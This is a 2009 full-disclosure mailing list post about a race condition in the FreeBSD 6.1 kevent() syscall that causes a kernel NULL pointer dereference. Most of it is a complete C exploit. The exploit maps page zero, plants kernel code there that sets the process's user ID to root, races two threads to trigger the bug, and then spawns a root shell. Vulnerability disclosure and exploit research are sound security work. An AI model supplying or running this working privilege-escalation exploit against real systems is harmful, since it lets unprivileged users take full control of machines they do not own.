bugtraq - FreeBSD <= 6.1 kqueue() NULL pointer dereference

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Message-ID: <4A90258F.6090606@freebsd.lublin.pl>
Date: Sat, 22 Aug 2009 19:06:23 +0200
From: Przemyslaw Frasunek <venglin@...ebsd.lublin.pl>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: FreeBSD <= 6.1 kqueue() NULL pointer dereference

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FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.

The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
was not recognized as security vulnerability.

The following code exploits this vulnerability to run root shell.

/* 22.08.2009, babcia padlina
~ * FreeBSD kevent() race condition exploit
~ *
~ * works only on multiprocessor systems
~ * gcc -o padlina padlina.c -lpthread
~ *
~ * with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion
~ */

#define _KERNEL

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <sys/param.h>
#include <sys/linker.h>
#include <sys/linker.h>
#include <sys/proc.h>

int fd;
int kq;
struct kevent kev, ke[10];
struct timespec timeout;
int gotroot = 0;

static void kernel_code(void) {
~        struct thread *thread;
~        gotroot = 1;
~        asm(
~                "pushl %%eax;"
~                "movl %%fs:0, %0"
~                : "=r"(thread)
~        );
~        thread->td_proc->p_ucred->cr_uid = 0;
~        asm("popl %eax");
~        return;
}

void do_thread(void) {
~        sleep(1);

~        while (!gotroot) {
~                memset(&kev, 0, sizeof(kev));
~                EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);

~                if (kevent(kq, &kev, 1, &ke, sizeof(ke), &timeout) < 0) {
~                        perror("kevent");
~                }
~        }

}

void do_thread2(void) {
~        while(!gotroot) {
~                if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0)
~                        perror("open");

~                close(fd);
~        }
}

int main(void) {
~        pthread_t pth, pth2;
~        long *ap;
~        unsigned char *p, *sp;

~        if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON |
MAP_FIXED, -1, 0) < 0) {
~                perror("mmap");
~                return -1;
~        }

~        memset(0x0, 0xc3, 0x1000);

~        for (p = 0, sp = &kernel_code; *sp != 0xc3;)
~                        *p++ = *sp++;

~        if ((kq = kqueue()) < 0) {
~                perror("kqueue");
~                return -1;
~        }

~        pthread_create(&pth, NULL, do_thread, NULL);
~        pthread_create(&pth2, NULL, do_thread2, NULL);

~        timeout.tv_sec = 0;
~        timeout.tv_nsec = 1;

~        while (!gotroot)
~                usleep(100);

~        setuid(0);
~        execl("/bin/sh", "sh", 0);

~        printf("exploit failed\n");
~        return 0;
}


- --
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@...ber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
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